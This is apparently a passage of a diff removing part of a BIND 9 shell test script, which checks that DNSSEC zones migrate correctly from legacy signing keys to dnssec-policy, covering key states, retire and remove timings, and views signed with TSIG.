-	_active=$(key_get $1 ACTIVE)
-	set_addkeytime "${1}" "RETIRED" "${_active}"  "${_Lkey}"
-	_retired=$(key_get $1 RETIRED)
-	set_addkeytime "${1}" "REMOVED" "${_retired}" "${_Iret}"
-}
-
-rollover_predecessor_keytimes() {
-	_addtime=$1
-
-	_created=$(key_get KEY1 CREATED)
-
-	set_addkeytime  "KEY1" "PUBLISHED"   "${_created}" "${_addtime}"
-	set_addkeytime  "KEY1" "SYNCPUBLISH" "${_created}" "${_addtime}"
-	set_addkeytime  "KEY1" "ACTIVE"      "${_created}" "${_addtime}"
-	[ "$Lksk" = 0 ] || set_retired_removed "KEY1" "${Lksk}" "${IretKSK}"
-
-	_created=$(key_get KEY2 CREATED)
-	set_addkeytime  "KEY2" "PUBLISHED"   "${_created}" "${_addtime}"
-	set_addkeytime  "KEY2" "ACTIVE"      "${_created}" "${_addtime}"
-	[ "$Lzsk" = 0 ] || set_retired_removed "KEY2" "${Lzsk}" "${IretZSK}"
-}
-
-# Policy parameters.
-# Lksk: unlimited
-# Lzsk: unlimited
-Lksk=0
-Lzsk=0
-
-
-#################################################
-# Test state before switching to dnssec-policy. #
-#################################################
-
-# Set expected key properties for migration tests.
-# $1 $2: Algorithm number and string.
-# $3 $4: KSK and ZSK size.
-init_migration_keys() {
-	key_clear        "KEY1"
-	key_set          "KEY1" "LEGACY" "yes"
-	set_keyrole      "KEY1" "ksk"
-	set_keylifetime  "KEY1" "none"
-	set_keyalgorithm "KEY1" "$1" "$2" "$3"
-	set_keysigning   "KEY1" "yes"
-	set_zonesigning  "KEY1" "no"
-
-	key_clear        "KEY2"
-	key_set          "KEY2" "LEGACY" "yes"
-	set_keyrole      "KEY2" "zsk"
-	set_keylifetime  "KEY2" "none"
-	set_keyalgorithm "KEY2" "$1" "$2" "$4"
-	set_keysigning   "KEY2" "no"
-	set_zonesigning  "KEY2" "yes"
-
-	key_clear        "KEY3"
-	key_clear        "KEY4"
-}
-
-# Set expected key states for migration tests.
-# $1: Goal
-# $2: States
-init_migration_states() {
-	set_keystate "KEY1" "GOAL"         "$1"
-	set_keystate "KEY1" "STATE_DNSKEY" "$2"
-	set_keystate "KEY1" "STATE_KRRSIG" "$2"
-	set_keystate "KEY1" "STATE_DS"     "$2"
-
-	set_keystate "KEY2" "GOAL"         "$1"
-	set_keystate "KEY2" "STATE_DNSKEY" "$2"
-	set_keystate "KEY2" "STATE_ZRRSIG" "$2"
-}
-
-#
-# Testing a good migration.
-#
-set_zone "migrate.kasp"
-set_policy "none" "2" "7200"
-set_server "ns3" "10.53.0.3"
-
-init_migration_keys "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS" "$DEFAULT_BITS"
-init_migration_states "omnipresent" "rumoured"
-
-# Make sure the zone is signed with legacy keys.
-check_keys
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-# These keys are immediately published and activated.
-rollover_predecessor_keytimes 0
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
-# Remember legacy key tags.
-_migrate_ksk=$(key_get KEY1 ID)
-_migrate_zsk=$(key_get KEY2 ID)
-
-#
-# Testing key states derived from key timing metadata (rumoured).
-#
-set_zone "rumoured.kasp"
-set_policy "none" "2" "300"
-set_server "ns3" "10.53.0.3"
-
-init_migration_keys "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS" "$DEFAULT_BITS"
-init_migration_states "omnipresent" "rumoured"
-
-# Make sure the zone is signed with legacy keys.
-check_keys
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-check_apex
-check_subdomain
-dnssec_verify
-# Remember legacy key tags.
-_rumoured_ksk=$(key_get KEY1 ID)
-_rumoured_zsk=$(key_get KEY2 ID)
-
-#
-# Testing key states derived from key timing metadata (omnipresent).
-#
-set_zone "omnipresent.kasp"
-set_policy "none" "2" "300"
-set_server "ns3" "10.53.0.3"
-
-init_migration_keys "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS" "$DEFAULT_BITS"
-init_migration_states "omnipresent" "omnipresent"
-
-# Make sure the zone is signed with legacy keys.
-check_keys
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-check_apex
-check_subdomain
-dnssec_verify
-# Remember legacy key tags.
-_omnipresent_ksk=$(key_get KEY1 ID)
-_omnipresent_zsk=$(key_get KEY2 ID)
-
-#
-# Testing migration with unmatched existing keys (different algorithm).
-#
-set_zone "migrate-nomatch-algnum.kasp"
-set_policy "none" "2" "300"
-set_server "ns3" "10.53.0.3"
-
-init_migration_keys "5" "RSASHA1" "2048" "1024"
-init_migration_states "omnipresent" "omnipresent"
-
-# Make sure the zone is signed with legacy keys.
-check_keys
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-
-# The KSK is immediately published and activated.
-# -P     : now-3900s
-# -P sync: now-3h
-# -A     : now-3900s
-created=$(key_get KEY1 CREATED)
-set_addkeytime "KEY1" "PUBLISHED"   "${created}" -3900
-set_addkeytime "KEY1" "ACTIVE"      "${created}" -3900
-set_addkeytime "KEY1" "SYNCPUBLISH" "${created}" -10800
-# The ZSK is immediately published and activated.
-# -P: now-3900s
-# -A: now-12h
-created=$(key_get KEY2 CREATED)
-set_addkeytime "KEY2" "PUBLISHED"   "${created}" -3900
-set_addkeytime "KEY2" "ACTIVE"      "${created}" -43200
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
-
-# Remember legacy key tags.
-_migratenomatch_algnum_ksk=$(key_get KEY1 ID)
-_migratenomatch_algnum_zsk=$(key_get KEY2 ID)
-
-#
-# Testing migration with unmatched existing keys (different length).
-#
-set_zone "migrate-nomatch-alglen.kasp"
-set_policy "none" "2" "300"
-set_server "ns3" "10.53.0.3"
-
-init_migration_keys "5" "RSASHA1" "1024" "1024"
-init_migration_states "omnipresent" "omnipresent"
-
-# Make sure the zone is signed with legacy keys.
-check_keys
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-
-# Set expected key times:
-# - The KSK is immediately published and activated.
-#   P     : now-3900s
-#   P sync: now-3h
-#   A     : now-3900s
-created=$(key_get KEY1 CREATED)
-set_addkeytime "KEY1" "PUBLISHED"   "${created}" -3900
-set_addkeytime "KEY1" "ACTIVE"      "${created}" -3900
-set_addkeytime "KEY1" "SYNCPUBLISH" "${created}" -10800
-# - The ZSK is immediately published and activated.
-#   P: now-3900s
-#   A: now-12h
-created=$(key_get KEY2 CREATED)
-set_addkeytime "KEY2" "PUBLISHED"   "${created}" -3900
-set_addkeytime "KEY2" "ACTIVE"      "${created}" -43200
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
-
-# Remember legacy key tags.
-_migratenomatch_alglen_ksk=$(key_get KEY1 ID)
-_migratenomatch_alglen_zsk=$(key_get KEY2 ID)
-
-
-#############
-# Reconfig. #
-#############
-echo_i "reconfig (migration to dnssec-policy)"
-copy_setports ns3/named2.conf.in ns3/named.conf
-rndc_reconfig ns3 10.53.0.3
-
-# Calculate time passed to correctly check for next key events.
-now="$(TZ=UTC date +%s)"
-time_passed=$((now-start_time))
-echo_i "${time_passed} seconds passed between start of tests and reconfig"
-
-# Wait until we have seen "zone_rekey done:" message for this key.
-_wait_for_done_signing() {
-	_zone=$1
-
-	_ksk=$(key_get $2 KSK)
-	_zsk=$(key_get $2 ZSK)
-	if [ "$_ksk" = "yes" ]; then
-		_role="KSK"
-		_expect_type=EXPECT_KRRSIG
-	elif [ "$_zsk" = "yes" ]; then
-		_role="ZSK"
-		_expect_type=EXPECT_ZRRSIG
-	fi
-
-	if [ "$(key_get ${2} $_expect_type)" = "yes" ] && [ "$(key_get $2 $_role)" = "yes" ]; then
-		_keyid=$(key_get $2 ID)
-		_keyalg=$(key_get $2 ALG_STR)
-		echo_i "wait for zone ${_zone} is done signing with $2 ${_zone}/${_keyalg}/${_keyid}"
-		grep "zone_rekey done: key ${_keyid}/${_keyalg}" "${DIR}/named.run" > /dev/null || return 1
-	fi
-
-	return 0
-}
-wait_for_done_signing() {
-	n=$((n+1))
-	echo_i "wait for zone ${ZONE} is done signing ($n)"
-	ret=0
-
-	retry_quiet 30 _wait_for_done_signing ${ZONE} KEY1 || ret=1
-	retry_quiet 30 _wait_for_done_signing ${ZONE} KEY2 || ret=1
-	retry_quiet 30 _wait_for_done_signing ${ZONE} KEY3 || ret=1
-	retry_quiet 30 _wait_for_done_signing ${ZONE} KEY4 || ret=1
-
-	test "$ret" -eq 0 || echo_i "failed"
-	status=$((status+ret))
-}
-
-
-################################################
-# Test state after switching to dnssec-policy. #
-################################################
-
-# Policy parameters.
-# ZSK now has lifetime of 60 days (5184000 seconds).
-# The key is removed after Iret = TTLsig + Dprp + Dsgn + retire-safety.
-Lzsk=5184000
-IretZSK=867900
-
-#
-# Testing good migration.
-#
-set_zone "migrate.kasp"
-set_policy "migrate" "2" "7200"
-set_server "ns3" "10.53.0.3"
-
-# Key properties, timings and metadata should be the same as legacy keys above.
-# However, because the zsk has a lifetime, kasp will set the retired time.
-init_migration_keys "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS" "$DEFAULT_BITS"
-init_migration_states "omnipresent" "rumoured"
-key_set "KEY1" "LEGACY" "no"
-key_set "KEY2" "LEGACY" "no"
-set_keylifetime "KEY1" "${Lksk}"
-set_keylifetime "KEY2" "${Lzsk}"
-
-# Various signing policy checks.
-check_keys
-wait_for_done_signing
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-
-# Set expected key times:
-rollover_predecessor_keytimes 0
-
-# - Key now has lifetime of 60 days (5184000 seconds).
-#   The key is removed after Iret = TTLsig + Dprp + Dsgn + retire-safety.
-#   TTLsig:        1d (86400 seconds)
-#   Dprp:          5m (300 seconds)
-#   Dsgn:          9d (777600 seconds)
-#   retire-safety: 1h (3600 seconds)
-#   IretZSK:       10d65m (867900 seconds)
-active=$(key_get KEY2 ACTIVE)
-set_addkeytime "KEY2" "RETIRED"     "${active}"  "${Lzsk}"
-retired=$(key_get KEY2 RETIRED)
-set_addkeytime "KEY2" "REMOVED"     "${retired}" "${IretZSK}"
-
-# Continue signing policy checks.
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
-
-# Check key tags, should be the same.
-n=$((n+1))
-echo_i "check that of zone ${ZONE} migration to dnssec-policy uses the same keys ($n)"
-ret=0
-[ $_migrate_ksk = $(key_get KEY1 ID) ] || log_error "mismatch ksk tag"
-[ $_migrate_zsk = $(key_get KEY2 ID) ] || log_error "mismatch zsk tag"
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-#
-# Test migration to dnssec-policy, existing keys do not match key algorithm.
-#
-set_zone "migrate-nomatch-algnum.kasp"
-set_policy "migrate-nomatch-algnum" "4" "300"
-set_server "ns3" "10.53.0.3"
-# The legacy keys need to be retired, but otherwise stay present until the
-# new keys are omnipresent, and can be used to construct a chain of trust.
-init_migration_keys "5" "RSASHA1" "2048" "1024"
-init_migration_states "hidden" "omnipresent"
-key_set "KEY1" "LEGACY" "no"
-key_set "KEY2" "LEGACY" "no"
-
-set_keyrole      "KEY3" "ksk"
-set_keylifetime  "KEY3" "0"
-set_keyalgorithm "KEY3" "13" "ECDSAP256SHA256" "256"
-set_keysigning   "KEY3" "yes"
-set_zonesigning  "KEY3" "no"
-
-set_keyrole      "KEY4" "zsk"
-set_keylifetime  "KEY4" "5184000"
-set_keyalgorithm "KEY4" "13" "ECDSAP256SHA256" "256"
-set_keysigning   "KEY4" "no"
-set_zonesigning  "KEY4" "yes"
-
-set_keystate "KEY3" "GOAL"         "omnipresent"
-set_keystate "KEY3" "STATE_DNSKEY" "rumoured"
-set_keystate "KEY3" "STATE_KRRSIG" "rumoured"
-set_keystate "KEY3" "STATE_DS"     "hidden"
-
-set_keystate "KEY4" "GOAL"         "omnipresent"
-set_keystate "KEY4" "STATE_DNSKEY" "rumoured"
-set_keystate "KEY4" "STATE_ZRRSIG" "rumoured"
-
-# Various signing policy checks.
-check_keys
-wait_for_done_signing
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-
-# Set expected key times:
-# - KSK must be retired since it no longer matches the policy.
-#   P     : now-3900s
-#   P sync: now-3h
-#   A     : now-3900s
-# - The key is removed after the retire interval:
-#   IretKSK = TTLds + DprpP + retire_safety.
-#   TTLds:         2h (7200 seconds)
-#   Dprp:          1h (3600 seconds)
-#   retire-safety: 1h (3600 seconds)
-#   IretKSK:       4h (14400 seconds)
-IretKSK=14400
-created=$(key_get KEY1 CREATED)
-set_addkeytime "KEY1" "PUBLISHED"   "${created}" -3900
-set_addkeytime "KEY1" "ACTIVE"      "${created}" -3900
-set_addkeytime "KEY1" "SYNCPUBLISH" "${created}" -10800
-keyfile=$(key_get KEY1 BASEFILE)
-grep "; Inactive:" "${keyfile}.key" > retired.test${n}.ksk
-retired=$(awk '{print $3}' < retired.test${n}.ksk)
-set_keytime    "KEY1" "RETIRED" "${retired}"
-set_addkeytime "KEY1" "REMOVED" "${retired}" "${IretKSK}"
-# - ZSK must be retired since it no longer matches the policy.
-#   P: now-3900s
-#   A: now-12h
-# - The key is removed after the retire interval:
-#   IretZSK = TTLsig + Dprp + Dsgn + retire-safety.
-#   TTLsig:        11h (39600 seconds)
-#   Dprp:          1h (3600 seconds)
-#   Dsgn:          9d (777600 seconds)
-#   retire-safety: 1h (3600 seconds)
-#   IretZSK:       9d13h (824400 seconds)
-IretZSK=824400
-Lzsk=5184000
-created=$(key_get KEY2 CREATED)
-set_addkeytime "KEY2" "PUBLISHED"   "${created}" -3900
-set_addkeytime "KEY2" "ACTIVE"      "${created}" -43200
-keyfile=$(key_get KEY2 BASEFILE)
-grep "; Inactive:" "${keyfile}.key" > retired.test${n}.zsk
-retired=$(awk '{print $3}' < retired.test${n}.zsk)
-set_keytime    "KEY2" "RETIRED" "${retired}"
-set_addkeytime "KEY2" "REMOVED" "${retired}" "${IretZSK}"
-# - The new KSK is immediately published and activated.
-created=$(key_get KEY3 CREATED)
-set_keytime    "KEY3" "PUBLISHED"   "${created}"
-set_keytime    "KEY3" "ACTIVE"      "${created}"
-# - It takes TTLsig + Dprp + publish-safety hours to propagate the zone.
-#   TTLsig:         11h (39600 seconds)
-#   Dprp:           1h (3600 seconds)
-#   publish-safety: 1h (3600 seconds)
-#   Ipub:           13h (46800 seconds)
-Ipub=46800
-set_addkeytime "KEY3" "SYNCPUBLISH" "${created}" "${Ipub}"
-# - The ZSK is immediately published and activated.
-created=$(key_get KEY4 CREATED)
-set_keytime    "KEY4" "PUBLISHED"   "${created}"
-set_keytime    "KEY4" "ACTIVE"      "${created}"
-active=$(key_get KEY4 ACTIVE)
-set_addkeytime "KEY4" "RETIRED"     "${active}"  "${Lzsk}"
-retired=$(key_get KEY4 RETIRED)
-set_addkeytime "KEY4" "REMOVED"     "${retired}" "${IretZSK}"
-
-# Continue signing policy checks.
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
-
-# Check key tags, should be the same.
-n=$((n+1))
-echo_i "check that of zone ${ZONE} migration to dnssec-policy keeps existing keys ($n)"
-ret=0
-[ $_migratenomatch_algnum_ksk = $(key_get KEY1 ID) ] || log_error "mismatch ksk tag"
-[ $_migratenomatch_algnum_zsk = $(key_get KEY2 ID) ] || log_error "mismatch zsk tag"
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-#
-# Test migration to dnssec-policy, existing keys do not match key length.
-#
-set_zone "migrate-nomatch-alglen.kasp"
-set_policy "migrate-nomatch-alglen" "4" "300"
-set_server "ns3" "10.53.0.3"
-
-# The legacy keys need to be retired, but otherwise stay present until the
-# new keys are omnipresent, and can be used to construct a chain of trust.
-init_migration_keys "5" "RSASHA1" "1024" "1024"
-init_migration_states "hidden" "omnipresent"
-key_set "KEY1" "LEGACY" "no"
-key_set "KEY2" "LEGACY" "no"
-
-set_keyrole      "KEY3" "ksk"
-set_keylifetime  "KEY3" "0"
-set_keyalgorithm "KEY3" "5" "RSASHA1" "2048"
-set_keysigning   "KEY3" "yes"
-set_zonesigning  "KEY3" "no"
-
-set_keyrole      "KEY4" "zsk"
-set_keylifetime  "KEY4" "5184000"
-set_keyalgorithm "KEY4" "5" "RSASHA1" "2048"
-set_keysigning   "KEY4" "no"
-# This key is considered to be prepublished, so it is not yet signing.
-set_zonesigning  "KEY4" "no"
-
-set_keystate "KEY3" "GOAL"         "omnipresent"
-set_keystate "KEY3" "STATE_DNSKEY" "rumoured"
-set_keystate "KEY3" "STATE_KRRSIG" "rumoured"
-set_keystate "KEY3" "STATE_DS"     "hidden"
-
-set_keystate "KEY4" "GOAL"         "omnipresent"
-set_keystate "KEY4" "STATE_DNSKEY" "rumoured"
-set_keystate "KEY4" "STATE_ZRRSIG" "hidden"
-
-# Various signing policy checks.
-check_keys
-wait_for_done_signing
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-
-# Set expected key times:
-# - KSK must be retired since it no longer matches the policy.
-#   P     : now-3900s
-#   P sync: now-3h
-#   A     : now-3900s
-# - The key is removed after the retire interval:
-#   IretKSK = TTLds + DprpP + retire_safety.
-#   TTLds:         2h (7200 seconds)
-#   Dprp:          1h (3600 seconds)
-#   retire-safety: 1h (3600 seconds)
-#   IretKSK:       4h (14400 seconds)
-IretKSK=14400
-created=$(key_get KEY1 CREATED)
-set_addkeytime "KEY1" "PUBLISHED"   "${created}" -3900
-set_addkeytime "KEY1" "ACTIVE"      "${created}" -3900
-set_addkeytime "KEY1" "SYNCPUBLISH" "${created}" -10800
-keyfile=$(key_get KEY1 BASEFILE)
-grep "; Inactive:" "${keyfile}.key" > retired.test${n}.ksk
-retired=$(awk '{print $3}' < retired.test${n}.ksk)
-set_keytime    "KEY1" "RETIRED" "${retired}"
-set_addkeytime "KEY1" "REMOVED" "${retired}" "${IretKSK}"
-# - ZSK must be retired since it no longer matches the policy.
-#   P: now-3900s
-#   A: now-12h
-# - The key is removed after the retire interval:
-#   IretZSK = TTLsig + Dprp + Dsgn + retire-safety.
-#   TTLsig:         11h (39600 seconds)
-#   Dprp:           1h (3600 seconds)
-#   Dsgn:           9d (777600 seconds)
-#   publish-safety: 1h (3600 seconds)
-#   IretZSK:        9d13h (824400 seconds)
-IretZSK=824400
-Lzsk=5184000
-created=$(key_get KEY2 CREATED)
-set_addkeytime "KEY2" "PUBLISHED"   "${created}" -3900
-set_addkeytime "KEY2" "ACTIVE"      "${created}" -43200
-keyfile=$(key_get KEY2 BASEFILE)
-grep "; Inactive:" "${keyfile}.key" > retired.test${n}.zsk
-retired=$(awk '{print $3}' < retired.test${n}.zsk)
-set_keytime    "KEY2" "RETIRED" "${retired}"
-set_addkeytime "KEY2" "REMOVED" "${retired}" "${IretZSK}"
-# - The new KSK is immediately published and activated.
-created=$(key_get KEY3 CREATED)
-set_keytime    "KEY3" "PUBLISHED"   "${created}"
-set_keytime    "KEY3" "ACTIVE"      "${created}"
-# - It takes TTLsig + Dprp + publish-safety hours to propagate the zone.
-#   TTLsig:         11h (39600 seconds)
-#   Dprp:           1h (3600 seconds)
-#   publish-safety: 1h (3600 seconds)
-#   Ipub:           13h (46800 seconds)
-Ipub=46800
-set_addkeytime "KEY3" "SYNCPUBLISH" "${created}" "${Ipub}"
-# - The ZSK is immediately published and activated.
-created=$(key_get KEY4 CREATED)
-set_keytime    "KEY4" "PUBLISHED"   "${created}"
-set_keytime    "KEY4" "ACTIVE"      "${created}"
-active=$(key_get KEY4 ACTIVE)
-set_addkeytime "KEY4" "RETIRED"     "${active}"  "${Lzsk}"
-retired=$(key_get KEY4 RETIRED)
-set_addkeytime "KEY4" "REMOVED"     "${retired}" "${IretZSK}"
-
-# Continue signing policy checks.
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
-
-# Check key tags, should be the same.
-n=$((n+1))
-echo_i "check that of zone ${ZONE} migration to dnssec-policy keeps existing keys ($n)"
-ret=0
-[ $_migratenomatch_alglen_ksk = $(key_get KEY1 ID) ] || log_error "mismatch ksk tag"
-[ $_migratenomatch_alglen_zsk = $(key_get KEY2 ID) ] || log_error "mismatch zsk tag"
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-########################################################
-# Testing key states derived from key timing metadata. #
-########################################################
-
-# Policy parameters.
-# KSK has lifetime of 60 days (5184000 seconds).
-# The KSK is removed after Iret = DprpP + TTLds + retire-safety =
-# 4h = 14400 seconds.
-Lksk=5184000
-IretKSK=14400
-# ZSK has lifetime of 60 days (5184000 seconds).
-# The ZSK is removed after Iret = TTLsig + Dprp + Dsgn + retire-safety =
-# 181h = 651600 seconds.
-Lzsk=5184000
-IretZSK=651600
-
-#
-# Testing rumoured state.
-#
-set_zone "rumoured.kasp"
-set_policy "timing-metadata" "2" "300"
-set_server "ns3" "10.53.0.3"
-
-# Key properties, timings and metadata should be the same as legacy keys above.
-init_migration_keys "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS" "$DEFAULT_BITS"
-init_migration_states "omnipresent" "rumoured"
-key_set "KEY1" "LEGACY" "no"
-key_set "KEY2" "LEGACY" "no"
-set_keylifetime "KEY1" "${Lksk}"
-set_keylifetime "KEY2" "${Lzsk}"
-
-# Various signing policy checks.
-check_keys
-wait_for_done_signing
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-
-# Set expected key times:
-#
-# Tds="now-2h"    (7200)
-# Tkey="now-300s" (300)
-# Tsig="now-11h"  (39600)
-created=$(key_get KEY1 CREATED)
-set_addkeytime      "KEY1" "PUBLISHED"   "${created}" -300
-set_addkeytime      "KEY1" "ACTIVE"      "${created}" -300
-set_addkeytime      "KEY1" "SYNCPUBLISH" "${created}"  -7200
-set_retired_removed "KEY1" "${Lksk}" "${IretKSK}"
-created=$(key_get KEY2 CREATED)
-set_addkeytime      "KEY2" "PUBLISHED"   "${created}"  -300
-set_addkeytime      "KEY2" "ACTIVE"      "${created}"  -39600
-set_retired_removed "KEY2" "${Lzsk}" "${IretZSK}"
-
-# Continue signing policy checks.
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
-
-# Check key tags, should be the same.
-n=$((n+1))
-echo_i "check that of zone ${ZONE} migration to dnssec-policy uses the same keys ($n)"
-ret=0
-[ $_rumoured_ksk = $(key_get KEY1 ID) ] || log_error "mismatch ksk tag"
-[ $_rumoured_zsk = $(key_get KEY2 ID) ] || log_error "mismatch zsk tag"
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-#
-# Testing omnipresent state.
-#
-set_zone "omnipresent.kasp"
-set_policy "timing-metadata" "2" "300"
-set_server "ns3" "10.53.0.3"
-
-# Key properties, timings and metadata should be the same as legacy keys above.
-init_migration_keys "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS" "$DEFAULT_BITS"
-init_migration_states "omnipresent" "omnipresent"
-key_set "KEY1" "LEGACY" "no"
-key_set "KEY2" "LEGACY" "no"
-set_keylifetime "KEY1" "${Lksk}"
-set_keylifetime "KEY2" "${Lzsk}"
-
-# Various signing policy checks.
-check_keys
-wait_for_done_signing
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-
-# Set expected key times:
-#
-# Tds="now-3h"     (10800)
-# Tkey="now-3900s" (3900)
-# Tsig="now-12h"   (43200)
-created=$(key_get KEY1 CREATED)
-set_addkeytime      "KEY1" "PUBLISHED"   "${created}" -3900
-set_addkeytime      "KEY1" "ACTIVE"      "${created}" -3900
-set_addkeytime      "KEY1" "SYNCPUBLISH" "${created}"  -10800
-set_retired_removed "KEY1" "${Lksk}" "${IretKSK}"
-created=$(key_get KEY2 CREATED)
-set_addkeytime      "KEY2" "PUBLISHED"   "${created}"  -3900
-set_addkeytime      "KEY2" "ACTIVE"      "${created}"  -43200
-set_retired_removed "KEY2" "${Lzsk}" "${IretZSK}"
-
-# Continue signing policy checks.
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
-
-# Check key tags, should be the same.
-n=$((n+1))
-echo_i "check that of zone ${ZONE} migration to dnssec-policy uses the same keys ($n)"
-ret=0
-[ $_omnipresent_ksk = $(key_get KEY1 ID) ] || log_error "mismatch ksk tag"
-[ $_omnipresent_zsk = $(key_get KEY2 ID) ] || log_error "mismatch zsk tag"
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-
-######################################
-# Testing good migration with views. #
-######################################
-init_view_migration() {
-	key_clear        "KEY1"
-	key_set          "KEY1" "LEGACY" "yes"
-	set_keyrole      "KEY1" "ksk"
-	set_keylifetime  "KEY1" "0"
-	set_keysigning   "KEY1" "yes"
-	set_zonesigning  "KEY1" "no"
-
-	key_clear        "KEY2"
-	key_set          "KEY2" "LEGACY" "yes"
-	set_keyrole      "KEY2" "zsk"
-	set_keylifetime  "KEY2" "0"
-	set_keysigning   "KEY2" "no"
-	set_zonesigning  "KEY2" "yes"
-
-	key_clear        "KEY3"
-	key_clear        "KEY4"
-
-	set_keystate "KEY1" "GOAL"         "omnipresent"
-	set_keystate "KEY1" "STATE_DNSKEY" "rumoured"
-	set_keystate "KEY1" "STATE_KRRSIG" "rumoured"
-	set_keystate "KEY1" "STATE_DS"     "rumoured"
-
-	set_keystate "KEY2" "GOAL"         "omnipresent"
-	set_keystate "KEY2" "STATE_DNSKEY" "rumoured"
-	set_keystate "KEY2" "STATE_ZRRSIG" "rumoured"
-}
-
-set_keytimes_view_migration() {
-	# Key is six months in use.
-	created=$(key_get KEY1 CREATED)
-	set_addkeytime "KEY1" "PUBLISHED"   "${created}" -16070400
-	set_addkeytime "KEY1" "SYNCPUBLISH" "${created}" -16070400
-	set_addkeytime "KEY1" "ACTIVE"      "${created}" -16070400
-	created=$(key_get KEY2 CREATED)
-	set_addkeytime "KEY2" "PUBLISHED"   "${created}" -16070400
-	set_addkeytime "KEY2" "ACTIVE"      "${created}" -16070400
-}
-
-# Zone view.rsasha256.kasp (external)
-set_zone "view-rsasha256.kasp"
-set_policy "rsasha256" "2" "300"
-set_server "ns4" "10.53.0.4"
-init_view_migration
-set_keyalgorithm "KEY1" "8" "RSASHA256" "2048"
-set_keyalgorithm "KEY2" "8" "RSASHA256" "1024"
-TSIG="hmac-sha1:external:$VIEW1"
-wait_for_nsec
-# Make sure the zone is signed with legacy keys.
-check_keys
-set_keytimes_view_migration
-check_keytimes
-dnssec_verify
-
-n=$((n+1))
-# check subdomain
-echo_i "check TXT $ZONE (view ext) rrset is signed correctly ($n)"
-ret=0
-dig_with_opts "view.${ZONE}" "@${SERVER}" TXT > "dig.out.$DIR.test$n.txt" || log_error "dig view.${ZONE} TXT failed"
-grep "status: NOERROR" "dig.out.$DIR.test$n.txt" > /dev/null || log_error "mismatch status in DNS response"
-grep "view.${ZONE}\..*${DEFAULT_TTL}.*IN.*TXT.*external" "dig.out.$DIR.test$n.txt" > /dev/null || log_error "missing view.${ZONE} TXT record in response"
-check_signatures TXT "dig.out.$DIR.test$n.txt" "ZSK"
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-# Remember legacy key tags.
-_migrate_ext8_ksk=$(key_get KEY1 ID)
-_migrate_ext8_zsk=$(key_get KEY2 ID)
-
-# Zone view.rsasha256.kasp (internal)
-set_zone "view-rsasha256.kasp"
-set_policy "rsasha256" "2" "300"
-set_server "ns4" "10.53.0.4"
-init_view_migration
-set_keyalgorithm "KEY1" "8" "RSASHA256" "2048"
-set_keyalgorithm "KEY2" "8" "RSASHA256" "1024"
-TSIG="hmac-sha1:internal:$VIEW2"
-wait_for_nsec
-# Make sure the zone is signed with legacy keys.
-check_keys
-set_keytimes_view_migration
-check_keytimes
-dnssec_verify
-
-n=$((n+1))
-# check subdomain
-echo_i "check TXT $ZONE (view int) rrset is signed correctly ($n)"
-ret=0
-dig_with_opts "view.${ZONE}" "@${SERVER}" TXT > "dig.out.$DIR.test$n.txt" || log_error "dig view.${ZONE} TXT failed"
-grep "status: NOERROR" "dig.out.$DIR.test$n.txt" > /dev/null || log_error "mismatch status in DNS response"
-grep "view.${ZONE}\..*${DEFAULT_TTL}.*IN.*TXT.*internal" "dig.out.$DIR.test$n.txt" > /dev/null || log_error "missing view.${ZONE} TXT record in response"
-check_signatures TXT "dig.out.$DIR.test$n.txt" "ZSK"
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-# Remember legacy key tags.
-_migrate_int8_ksk=$(key_get KEY1 ID)
-_migrate_int8_zsk=$(key_get KEY2 ID)
-
-# Reconfig dnssec-policy.
-echo_i "reconfig to switch to dnssec-policy"
-copy_setports ns4/named2.conf.in ns4/named.conf
-rndc_reconfig ns4 10.53.0.4
-
-# Calculate time passed to correctly check for next key events.
-now="$(TZ=UTC date +%s)"
-time_passed=$((now-start_time))
-echo_i "${time_passed} seconds passed between start of tests and reconfig"
-
-#
-# Testing migration (RSASHA256, views).
-#
-set_zone "view-rsasha256.kasp"
-set_policy "rsasha256" "3" "300"
-set_server "ns4" "10.53.0.4"
-init_migration_keys "8" "RSASHA256" "2048" "1024"
-init_migration_states "omnipresent" "rumoured"
-# Key properties, timings and metadata should be the same as legacy keys above.
-# However, because the keys have a lifetime, kasp will set the retired time.
-key_set          "KEY1" "LEGACY" "no"
-set_keylifetime  "KEY1" "31536000"
-set_keystate     "KEY1" "STATE_DNSKEY" "omnipresent"
-set_keystate     "KEY1" "STATE_KRRSIG" "omnipresent"
-set_keystate     "KEY1" "STATE_DS"     "omnipresent"
-
-key_set          "KEY2" "LEGACY" "no"
-set_keylifetime  "KEY2" "8035200"
-set_keystate     "KEY2" "STATE_DNSKEY" "omnipresent"
